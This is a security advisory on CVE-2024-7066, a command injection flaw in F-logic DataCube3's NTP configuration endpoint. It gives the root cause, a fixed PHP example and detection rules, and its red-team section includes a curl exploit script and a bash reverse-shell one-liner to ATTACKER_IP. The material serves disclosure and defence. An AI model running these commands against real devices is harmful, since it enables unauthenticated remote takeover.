CVE-2024-7066

Executive Summary

CVE-2024-7066 is a critical OS command injection vulnerability in F-logic DataCube3 version 1.0. The flaw resides in the /admin/config_time_sync.php endpoint, where the ntp_server parameter is unsanitized before being passed to a system command. An unauthenticated attacker can exploit this remotely to execute arbitrary operating system commands, leading to full compromise of the device. A public proof-of-concept (PoC) exploit has been released, increasing the risk of widespread exploitation. No official patch is available, and the vendor has not responded to disclosure.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical – Remote, unauthenticated command execution with public exploit code.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the NTP server configuration functionality. The /admin/config_time_sync.php script accepts a POST parameter ntp_server and uses it in a command like ntpdate $ntp_server or similar without proper sanitization. An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: Lack of input validation and failure to use parameterized system calls or escapeshellarg().

Attack Flow:

1. Attacker sends a POST request to /admin/config_time_sync.php with ntp_server=127.0.0.1;id.
2. The server executes: ntpdate 127.0.0.1;id.
3. The output of id is returned or can be exfiltrated via reverse shell.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$ntp_server = $_POST['ntp_server'];
system("ntpdate $ntp_server");
?>

Patched Code (Conceptual):

<?php
$ntp_server = $_POST['ntp_server'];
$safe_server = escapeshellarg($ntp_server);
system("ntpdate $safe_server");
?>

No official patch exists; the above is a recommended fix.

Exploitation & Lab Setup

Red Team

Exploit PoC (Public):

#!/bin/bash
# CVE-2024-7066 Exploit
TARGET="http://target/admin/config_time_sync.php"
COMMAND="id"
curl -X POST -d "ntp_server=127.0.0.1;$COMMAND" "$TARGET"

Reverse Shell:

curl -X POST -d "ntp_server=127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" http://target/admin/config_time_sync.php

Lab Setup:

• Use a vulnerable F-logic DataCube3 firmware (version 1.0) in a VM.
• Network: Attacker and target on same subnet.
• Tools: curl, netcat, Burp Suite.

Blue Team

Detection:

• Monitor POST requests to /admin/config_time_sync.php with suspicious ntp_server values containing shell metacharacters.
• Alert on outbound connections from the device to unusual IPs/ports (e.g., 4444).

Hunting:

• Search logs for ntp_server parameter containing ;, |, &&, `.
• Check for unexpected processes spawned by the web server (e.g., id, bash).

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/config_time_sync.php with ntp_server containing shell metacharacters.
  • Outbound connections from the device to attacker-controlled IPs on high ports.
• File System:
  • Unexpected files in /tmp or /var/tmp (e.g., reverse shell scripts).
• Processes:
  • Unusual processes like id, whoami, bash spawned by the web server user.
• Logs:
  • Web server logs showing ntp_server=127.0.0.1;id or similar.

Detection Engineering

YARA Rule

rule CVE_2024_7066_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against F-logic DataCube3"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7066"
    strings:
        $injection1 = "ntp_server=*;"
        $injection2 = "ntp_server=*|"
        $injection3 = "ntp_server=*&&"
        $injection4 = "ntp_server=*`"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-7066 OS Command Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to /admin/config_time_sync.php with suspicious ntp_server parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/config_time_sync.php'
        cs-uri-query|contains: 'ntp_server='
    filter:
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection and filter
falsepositives:
    - Legitimate use of semicolons in NTP server names (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7066 OS Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/config_time_sync.php"; http_uri; content:"ntp_server="; http_client_body; pcre:"/ntp_server=[^&]*(;|\||&&|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Apply virtual patching via WAF rules blocking ntp_server with shell metacharacters.
3. Disable the NTP sync functionality if not required.

Long-term Fix:

• Vendor must release a firmware update with proper input sanitization using escapeshellarg() or parameterized commands.
• If no patch is forthcoming, consider replacing the device.

Compensating Controls:

• Restrict access to /admin/config_time_sync.php via IP whitelisting or authentication.
• Monitor for exploitation attempts using the provided detection rules.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert